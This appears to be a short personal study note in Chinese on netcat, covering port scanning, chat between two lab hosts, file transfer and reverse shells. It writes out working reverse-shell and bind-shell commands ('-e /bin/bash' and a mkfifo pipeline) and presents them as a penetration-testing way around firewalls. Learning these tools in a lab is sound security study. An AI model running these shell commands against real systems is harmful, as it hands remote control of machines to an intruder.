netcat学习笔记
netcat学习笔记
netcat:
相当于网络中的瑞士军刀,它所做的事情是在两台主机间建立连接并返回两个数据流。
主机A:192.168.12.130
主机B:192.168.12.131
一、端口扫描
扫描主机B开放端口:
nc -zvn 192.168.12.131 1-999
参数:
-u 改变运行模式,默认为TCP,改为UDP
-z 适用于扫描,告诉netcat,连接成功后就关闭连接,不进行数据交换
-v 详细输出
-n 告诉netcat,我只需要对方的IP信息,不需要DNS信息
二、主机AB间实时通信
server:主机B(192.168.12.131)
nc -l 1234
告诉netcat,在1234端口创建一个TCP服务器。所有标准的输入输出数据都会显示到当前shell上。
client:主机A(192.168.12.130)
nc 192.168.12.131 1234
三、传输文件
Kali想给Ubuntu传输username.txt文件
Server:192.168.12.131(Ubuntu)
nc -l 1234 > /home/sumor/文档/username.txt
Client:192.168.12.130(Kali)
nc 192.168.12.131 1234 < /root/文档/username.txt
可以理解为,netcat作为一个中间件,我把文件交给netcat,netcat再传递给目标。箭头的指向来表示文件的传递方向,所以无论是Server还是Client,都可以灵活的将文件传递给对方。
四、反弹shell
渗透时,有时无法使用对方的telnet、ssh(对方未安装或权限不够等)
1、如果对方的netcat支持 -c -e 参数的话,可以获取对方的反向shell。
获取反向shell可以一定程度绕过防火墙,比如限制入站连接等。
此时是Server获取Client的shell:
Server:192.168.12.130(Kali)
nc -l 1234
创建监听,守株待兔。
Client:192.168.12.131(Ubuntu)
nc 192.168.12.130 1234 -e /bin/bash
告诉netcat,去连接192.168.12.130的1234端口,如果连接成功,就把自己的/bin/bash(shell)给对方。
2、netcat不支持-e -c 参数时
Server:192.168.12.131(Ubuntu)
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/tmp_fifo
第一行,创建了一个FIFO文件(即管道,可以在进程间、Server和Client间交互数据而不用创建临时文件)
第二行,读取FIFO文件,然后用了管道命令,将FIFO的输入指向到/bin/sh,即shell上,2>&1中,&1是文件描述符,1表示标准输出,2表示标准错误,所以意思是将标准错误重定向到标准输出,因为前面已经将标准输出定向到了shell上,所以标准错误也会定向到shell。最后用管道命令,告诉netcat在1234端口上创建一个netcat服务器监听,并将获取到的传递过来的内容交给FIFO文件。形成了一个循环。
Client:192.168.12.130(Kali)
nc 192.168.12.131 1234